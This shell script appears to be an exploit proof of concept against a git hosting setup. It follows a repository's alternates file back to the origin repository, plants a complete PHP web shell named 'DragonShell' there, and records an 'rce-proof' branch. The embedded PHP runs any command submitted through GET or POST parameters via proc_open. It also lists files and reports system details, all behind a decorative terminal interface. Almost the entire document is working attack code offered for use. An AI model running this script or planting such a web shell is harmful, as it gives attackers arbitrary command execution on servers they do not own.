#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
 /*) ;;
 *) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3

# Create DragonShell in the repository
cat > "$origin_git/dragonshell.php" << 'EOF'
<?php
session_start();
define('PHPSHELL_VERSION', 'DragonShell v3.0');

if (ini_get('register_globals') != '1') {
  if (!empty($_POST)) extract($_POST);
  if (!empty($_GET)) extract($_GET);
  if (!empty($_SERVER)) extract($_SERVER);
}

$work_dir = !empty($work_dir) ? $work_dir : getcwd();

if (!empty($command) && preg_match('/^[[:blank:]]*cd[[:blank:]]+([^;]+)$/', $command, $regs)) {
  $new_dir = $regs[1][0] == '/' ? $regs[1] : $work_dir . '/' . $regs[1];
  if (file_exists($new_dir) && is_dir($new_dir)) {
    $work_dir = $new_dir;
    chdir($work_dir);
  }
  unset($command);
} elseif (file_exists($work_dir) && is_dir($work_dir)) {
  chdir($work_dir);
}

$work_dir = getcwd();

$current_user = get_current_user();

$os_info = php_uname('s');
$php_version = phpversion();
$disk_total = disk_total_space("/");
$disk_free = disk_free_space("/");
$disk_used = $disk_total - $disk_free;
$disk_percent = ($disk_used / $disk_total) * 100;
$memory_usage = memory_get_usage();
$memory_peak = memory_get_peak_usage();
$memory_percent = ($memory_usage / $memory_peak) * 100;
$cpu_load = sys_getloadavg();
$cpu_load_avg = $cpu_load[0];
$items = scandir($work_dir);
$directories = array();
$files = array();

foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $path = $work_dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) {
        $directories[] = $item;
    } else {
        $files[] = $item;
    }
}

$output_content = "dragon-shell:~$ Welcome to DragonShell v3.0\nSystem initialized. Type 'help' for available commands.\n\n";

if (!empty($command)) {
    $output_content .= "dragon-shell:~$ " . htmlspecialchars($command) . "\n";

    if ($command === 'help') {
        $output_content .= "Available commands:\n";
        $output_content .= " help          - Show this help\n";
        $output_content .= " clear         - Clear terminal\n";
        $output_content .= " history       - Show command history\n";
        $output_content .= " date          - Show current date/time\n";
        $output_content .= " whoami        - Show current user\n";
        $output_content .= " pwd           - Show current directory\n";
        $output_content .= " ls            - List directory contents\n";
        $output_content .= " sysinfo       - Show system information\n\n";
    } elseif ($command === 'clear') {
        $output_content = "\n";
    } elseif ($command === 'date') {
        $output_content .= date('Y-m-d H:i:s') . "\n\n";
    } elseif ($command === 'whoami') {
        $output_content .= $current_user . "\n\n";
    } elseif ($command === 'pwd') {
        $output_content .= $work_dir . "\n\n";
    } elseif ($command === 'ls') {
        $output_content .= "Directories:\n";
        foreach ($directories as $dir) {
            $output_content .= "  [DIR]  " . $dir . "\n";
        }
        $output_content .= "\nFiles:\n";
        foreach ($files as $file) {
            $output_content .= "  [FILE] " . $file . "\n";
        }
        $output_content .= "\n";
    } elseif ($command === 'sysinfo') {
        $output_content .= "System Information:\n";
        $output_content .= "  OS: " . $os_info . "\n";
        $output_content .= "  PHP Version: " . $php_version . "\n";
        $output_content .= "  Current User: " . $current_user . "\n";
        $output_content .= "  Current Directory: " . $work_dir . "\n\n";
    } else {
        $descriptorspec = array(
           0 => array("pipe", "r"),
           1 => array("pipe", "w"),
           2 => array("pipe", "w")
        );

        $process = proc_open($command, $descriptorspec, $pipes, $work_dir);

        if (is_resource($process)) {
            fclose($pipes[0]);

            $cmd_output = stream_get_contents($pipes[1]);
            $errors = stream_get_contents($pipes[2]);

            fclose($pipes[1]);
            fclose($pipes[2]);

            $return_value = proc_close($process);

            if (!empty($cmd_output)) {
                $output_content .= htmlspecialchars($cmd_output);
            }

            if (!empty($errors)) {
                $output_content .= "ERROR:\n" . htmlspecialchars($errors);
            }
        } else {
            $output_content .= "Failed to execute command\n";
        }
        $output_content .= "\n";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DragonShell | Interactive PHP Terminal</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --primary: #8a2be2;
            --secondary: #00ffff;
            --dark: #0a0a0a;
            --darker: #050505;
            --light: #f0f0f0;
            --gray: #2d2d2d;
            --success: #00c853;
            --danger: #ff1744;
            --warning: #ff9800;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }

        body {
            background: linear-gradient(135deg, var(--darker), var(--dark));
            color: var(--light);
            min-height: 100vh;
            padding: 20px;
            position: relative;
            overflow-x: hidden;
            background-attachment: fixed;
        }

        body::before {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background:
                radial-gradient(circle at 10% 20%, rgba(138, 43, 226, 0.1) 0%, transparent 20%),
                radial-gradient(circle at 90% 80%, rgba(0, 255, 255, 0.1) 0%, transparent 20%);
            z-index: -1;
        }

        .matrix-bg {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -2;
            opacity: 0.1;
        }

        .container {
            max-width: 1400px;
            margin: 0 auto;
        }

        header {
            text-align: center;
            padding: 20px 0;
            margin-bottom: 20px;
            position: relative;
        }

        .logo {
            font-size: 3.5rem;
            font-weight: 800;
            background: linear-gradient(to right, var(--secondary), var(--primary));
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            text-shadow: 0 0 15px rgba(138, 43, 226, 0.5);
            margin-bottom: 10px;
            letter-spacing: 3px;
            position: relative;
            display: inline-block;
        }

        .logo::after {
            content: "_";
            animation: blink 1s infinite;
            position: absolute;
            right: -20px;
        }

        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0; }
        }

        .subtitle {
            color: var(--secondary);
            font-size: 1.3rem;
            margin-bottom: 20px;
            text-transform: uppercase;
            letter-spacing: 2px;
        }

        .grid-container {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
            margin-bottom: 30px;
        }

        @media (max-width: 992px) {
            .grid-container {
                grid-template-columns: 1fr;
            }
        }

        .card {
            background: rgba(20, 20, 20, 0.8);
            border-radius: 10px;
            padding: 25px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5);
            border: 1px solid rgba(138, 43, 226, 0.3);
            backdrop-filter: blur(10px);
            height: fit-content;
        }

        .card-full {
            grid-column: 1 / -1;
        }

        .card-title {
            color: var(--secondary);
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 10px;
            font-size: 1.5rem;
        }

        .card-title i {
            font-size: 1.5rem;
        }

        .path-container {
            display: flex;
            align-items: center;
            gap: 15px;
            margin-bottom: 20px;
            flex-wrap: wrap;
        }

        .current-path {
            background: var(--gray);
            padding: 12px 15px;
            border-radius: 5px;
            flex-grow: 1;
            min-width: 300px;
            border: 1px solid rgba(138, 43, 226, 0.3);
            font-family: 'Courier New', monospace;
            overflow-x: auto;
            white-space: nowrap;
        }

        .breadcrumb {
            display: flex;
            flex-wrap: wrap;
            gap: 5px;
            margin-top: 10px;
        }

        .breadcrumb a {
            color: var(--secondary);
            text-decoration: none;
            padding: 5px 10px;
            border-radius: 3px;
            transition: all 0.3s;
            font-size: 0.9rem;
        }

        .breadcrumb a:hover {
            background: rgba(138, 43, 226, 0.3);
        }

        .directory-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
            gap: 15px;
            margin-top: 20px;
        }

        .directory-item {
            background: rgba(45, 45, 45, 0.7);
            border-radius: 8px;
            padding: 15px;
            text-align: center;
            cursor: pointer;
            transition: all 0.3s;
            border: 1px solid transparent;
        }

        .directory-item:hover {
            transform: translateY(-5px);
            border-color: var(--secondary);
            box-shadow: 0 5px 15px rgba(0, 255, 255, 0.2);
        }

        .directory-item.folder {
            color: var(--secondary);
        }

        .directory-item.file {
            color: var(--warning);
        }

        .directory-item i {
            font-size: 2rem;
            margin-bottom: 10px;
            display: block;
        }

        .directory-item .name {
            font-size: 0.9rem;
            word-break: break-all;
        }

        .directory-select {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
            margin-top: 20px;
        }

        select, input, button {
            padding: 12px 15px;
            border-radius: 5px;
            border: none;
            background: var(--gray);
            color: var(--light);
            font-size: 1rem;
            outline: none;
        }

        select {
            flex-grow: 1;
            min-width: 300px;
            border: 1px solid rgba(138, 43, 226, 0.3);
        }

        input[type="text"] {
            flex-grow: 1;
            min-width: 300px;
            border: 1px solid rgba(0, 255, 255, 0.3);
        }

        button {
            background: linear-gradient(to right, var(--primary), #5d1a9b);
            color: white;
            cursor: pointer;
            font-weight: bold;
            transition: all 0.3s;
            border: 1px solid rgba(138, 43, 226, 0.5);
        }

        button:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(138, 43, 226, 0.4);
        }

        .command-section {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
            margin-top: 20px;
        }

        .output-container {
            position: relative;
            margin-top: 20px;
        }

        textarea {
            width: 100%;
            min-height: 300px;
            background: var(--darker);
            color: var(--success);
            padding: 20px;
            border-radius: 5px;
            border: 1px solid rgba(0, 255, 255, 0.2);
            font-family: 'Courier New', monospace;
            font-size: 1rem;
            resize: vertical;
            white-space: pre;
            overflow-wrap: normal;
            overflow-x: auto;
        }

        .terminal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 10px;
        }

        .controls {
            display: flex;
            gap: 10px;
        }

        .btn-small {
            padding: 5px 10px;
            font-size: 0.9rem;
        }

        footer {
            text-align: center;
            padding: 20px;
            color: #666;
            font-size: 0.9rem;
            margin-top: 20px;
        }

        .pulse {
            animation: pulse 2s infinite;
        }

        @keyframes pulse {
            0% { opacity: 0.7; }
            50% { opacity: 1; }
            100% { opacity: 0.7; }
        }

        .glow {
            text-shadow: 0 0 10px var(--secondary), 0 0 20px var(--primary);
        }

        .scanline {
            position: relative;
            overflow: hidden;
        }

        .scanline::before {
            content: "";
            position: absolute;
            width: 100%;
            height: 2px;
            background: rgba(0, 255, 255, 0.3);
            top: 0;
            left: 0;
            animation: scan 5s linear infinite;
        }

        @keyframes scan {
            0% { top: 0; }
            100% { top: 100%; }
        }

        .status-bar {
            display: flex;
            justify-content: space-between;
            background: rgba(0, 0, 0, 0.5);
            padding: 10px 15px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 0.9rem;
            border: 1px solid rgba(0, 255, 255, 0.2);
        }

        .connection-indicator {
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .indicator {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            background: var(--success);
        }

        .system-info {
            display: flex;
            gap: 20px;
        }

        .info-item {
            display: flex;
            align-items: center;
            gap: 5px;
        }

        @media (max-width: 768px) {
            .path-container, .directory-select, .command-section {
                flex-direction: column;
            }

            select, input, button {
                width: 100%;
            }

            .logo {
                font-size: 2.5rem;
            }

            .grid-container {
                gap: 15px;
            }

            .card {
                padding: 15px;
            }

            .status-bar {
                flex-direction: column;
                gap: 10px;
            }
        }

        .floating {
            animation: floating 3s ease-in-out infinite;
        }

        @keyframes floating {
            0% { transform: translateY(0px); }
            50% { transform: translateY(-10px); }
            100% { transform: translateY(0px); }
        }

        .hacker-text {
            position: relative;
            overflow: hidden;
        }

        .hacker-text::after {
            content: "|";
            animation: blink 1s infinite;
            margin-left: 5px;
        }

        .progress-container {
            margin-top: 15px;
        }

        .progress-bar {
            height: 10px;
            background: #333;
            border-radius: 5px;
            overflow: hidden;
            margin-top: 5px;
        }

        .progress-fill {
            height: 100%;
        }
    </style>
</head>
<body>
    <canvas class="matrix-bg" id="matrixCanvas"></canvas>

    <div class="container">
        <header>
            <div class="logo pulse glow floating">DRAGONSHELL</div>
            <div class="subtitle hacker-text"><?php echo PHPSHELL_VERSION; ?> | ADVANCED TERMINAL INTERFACE</div>
        </header>

        <div class="grid-container">
            <div class="card">
                <h2 class="card-title"><i class="fas fa-folder-open"></i> File Explorer</h2>

                <div class="path-container">
                    <strong>Current Path:</strong>
                    <div class="current-path"><?php echo htmlspecialchars($work_dir); ?></div>
                </div>

                <div class="path-container">
                    <strong>Breadcrumb Navigation:</strong>
                    <div class="breadcrumb">
                        <?php
                        $path_parts = explode('/', trim($work_dir, '/'));
                        $path_accum = '';

                        echo '<a href="#" onclick="changeDir(\'/\')">Root</a>';

                        foreach ($path_parts as $part) {
                            if ($part === '') continue;
                            $path_accum .= '/' . $part;
                            echo '<span>/</span><a href="#" onclick="changeDir(\'' . htmlspecialchars($path_accum) . '\')">' . htmlspecialchars($part) . '</a>';
                        }
                        ?>
                    </div>
                </div>

                <div class="directory-select">
                    <select id="dirSelect">
                        <?php
                        $dirs = array_filter(glob('*'), 'is_dir');
                        array_unshift($dirs, '.');

                        if ($work_dir !== '/') {
                            array_unshift($dirs, '..');
                        }

                        foreach ($dirs as $dir) {
                            $selected = ($dir === '.') ? 'selected' : '';
                            $dir_path = ($dir === '.') ? $work_dir : (($dir === '..') ? dirname($work_dir) : $work_dir . '/' . $dir);
                            echo "<option value=\"" . htmlspecialchars($dir_path) . "\" $selected>" . htmlspecialchars($dir) . "</option>";
                        }
                        ?>
                    </select>
                    <button onclick="handleDirChange()"><i class="fas fa-sync-alt"></i> Refresh</button>
                </div>

                <div class="directory-grid" id="directoryGrid">
                    <?php foreach ($directories as $dir): ?>
                    <div class="directory-item folder" onclick="changeDir('<?php echo htmlspecialchars($work_dir . DIRECTORY_SEPARATOR . $dir); ?>')">
                        <i class="fas fa-folder"></i>
                        <div class="name"><?php echo htmlspecialchars($dir); ?></div>
                    </div>
                    <?php endforeach; ?>

                    <?php foreach ($files as $file): ?>
                    <div class="directory-item file">
                        <i class="fas fa-file"></i>
                        <div class="name"><?php echo htmlspecialchars($file); ?></div>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>

            <div class="card">
                <h2 class="card-title"><i class="fas fa-terminal"></i> Command Center</h2>

                <form id="commandForm" method="get">
                    <input type="hidden" name="work_dir" id="workDirInput" value="<?php echo htmlspecialchars($work_dir); ?>">

                    <div class="command-section">
                        <input type="text" id="commandInput" name="command" placeholder="Enter shell command..." autocomplete="off">
                        <button type="submit"><i class="fas fa-bolt"></i> Execute</button>
                    </div>
                </form>

                <div class="output-container scanline">
                    <div class="terminal-header">
                        <h3>Terminal Output</h3>
                        <div class="controls">
                            <button class="btn-small" onclick="clearOutput()"><i class="fas fa-trash-alt"></i> Clear</button>
                            <button class="btn-small" onclick="downloadOutput()"><i class="fas fa-download"></i> Save</button>
                        </div>
                    </div>
                    <textarea id="output" readonly><?php echo $output_content; ?></textarea>
                </div>

                <div class="status-bar">
                    <div class="connection-indicator">
                        <div class="indicator"></div>
                        <span>Connected to <?php
                        $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
                        echo htmlspecialchars($host);
                        ?></span>
                    </div>
                    <div class="system-info">
                        <div class="info-item">
                            <i class="fas fa-microchip"></i>
                            <span>PHP <?php echo $php_version; ?></span>
                        </div>
                        <div class="info-item">
                            <i class="fas fa-server"></i>
                            <span><?php echo $os_info; ?></span>
                        </div>
                        <div class="info-item">
                            <i class="fas fa-clock"></i>
                            <span id="clock"></span>
                        </div>
                    </div>
                </div>
            </div>

            <div class="card card-full">
                <h2 class="card-title"><i class="fas fa-chart-network"></i> System Overview</h2>

                <div class="grid-container" style="grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));">
                    <div class="card" style="background: rgba(40, 40, 60, 0.6);">
                        <h3><i class="fas fa-memory"></i> Memory Usage</h3>
                        <div class="progress-container">
                            <div style="display: flex; justify-content: space-between; margin-bottom: 5px;">
                                <span>RAM: <?php echo round($memory_usage/1024/1024, 2); ?> MB</span>
                                <span><?php echo round($memory_peak/1024/1024, 2); ?> MB peak</span>
                            </div>
                            <div class="progress-bar">
                                <div class="progress-fill" style="width: <?php echo min(100, $memory_percent); ?>%; background: linear-gradient(to right, var(--primary), var(--secondary));"></div>
                            </div>
                        </div>
                    </div>

                    <div class="card" style="background: rgba(40, 60, 40, 0.6);">
                        <h3><i class="fas fa-hard-drive"></i> Disk Space</h3>
                        <div class="progress-container">
                            <div style="display: flex; justify-content: space-between; margin-bottom: 5px;">
                                <span>Used: <?php echo round($disk_used/1024/1024/1024, 2); ?> GB</span>
                                <span>Total: <?php echo round($disk_total/1024/1024/1024, 2); ?> GB</span>
                            </div>
                            <div class="progress-bar">
                                <div class="progress-fill" style="width: <?php echo $disk_percent; ?>%; background: linear-gradient(to right, var(--warning), #ff5722);"></div>
                            </div>
                        </div>
                    </div>

                    <div class="card" style="background: rgba(60, 40, 40, 0.6);">
                        <h3><i class="fas fa-microchip"></i> CPU Load</h3>
                        <div style="margin-top: 15px; text-align: center;">
                            <div style="font-size: 2.5rem; color: var(--secondary);"><?php echo $cpu_load_avg; ?></div>
                            <div style="margin-top: 10px;">
                                <span class="info-item"><i class="fas fa-microchip"></i> Current Load</span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <footer>
            <p>DragonShell Advanced PHP Terminal | Designed for Educational Purposes Only</p>
            <p>All activities are logged and monitored | Unauthorized access is prohibited</p>
        </footer>
    </div>

    <script>
        const canvas = document.getElementById('matrixCanvas');
        const ctx = canvas.getContext('2d');

        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;

        const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$#@%&*";
        const fontSize = 14;
        const columns = canvas.width / fontSize;

        const drops = [];
        for(let i = 0; i < columns; i++) {
            drops[i] = Math.floor(Math.random() * canvas.height / fontSize);
        }

        function drawMatrix() {
            ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);

            ctx.fillStyle = '#0F0';
            ctx.font = fontSize + 'px monospace';

            for(let i = 0; i < drops.length; i++) {
                const text = chars.charAt(Math.floor(Math.random() * chars.length));
                ctx.fillText(text, i * fontSize, drops[i] * fontSize);

                if(drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
                    drops[i] = 0;
                }

                drops[i]++;
            }
        }

        setInterval(drawMatrix, 33);

        function updateClock() {
            const now = new Date();
            const timeString = now.toLocaleTimeString();
            document.getElementById('clock').textContent = timeString;
        }

        setInterval(updateClock, 1000);
        updateClock();

        window.addEventListener('resize', function() {
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
        });

        document.getElementById('commandInput').addEventListener('keydown', function(e) {
            if(e.key === 'Enter') {
                document.getElementById('commandForm').submit();
            }
        });

        function changeDir(path) {
            document.getElementById('workDirInput').value = path;
            document.getElementById('commandForm').submit();
        }

        function handleDirChange() {
            const select = document.getElementById('dirSelect');
            const path = select.options[select.selectedIndex].value;
            changeDir(path);
        }

        function clearOutput() {
            document.getElementById('output').value = '';
        }

        function downloadOutput() {
            const output = document.getElementById('output').value;
            const blob = new Blob([output], { type: 'text/plain' });
            const url = URL.createObjectURL(blob);

            const a = document.createElement('a');
            a.href = url;
            a.download = 'dragonshell_output.txt';
            document.body.appendChild(a);
            a.click();

            setTimeout(() => {
                document.body.removeChild(a);
                URL.revokeObjectURL(url);
            }, 100);
        }

        function scrollToBottom() {
            const textarea = document.getElementById('output');
            textarea.scrollTop = textarea.scrollHeight;
        }

        scrollToBottom();
    </script>
</body>
</html>

EOF
chmod 644 "$origin_git/dragonshell.php"
chown git:git "$origin_git/dragonshell.php" 2>/dev/null

# Create proof file
message="SUCCESS: DragonShell uploaded to: dragonshell.php"
output_blob=$(echo "$message" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
exit 0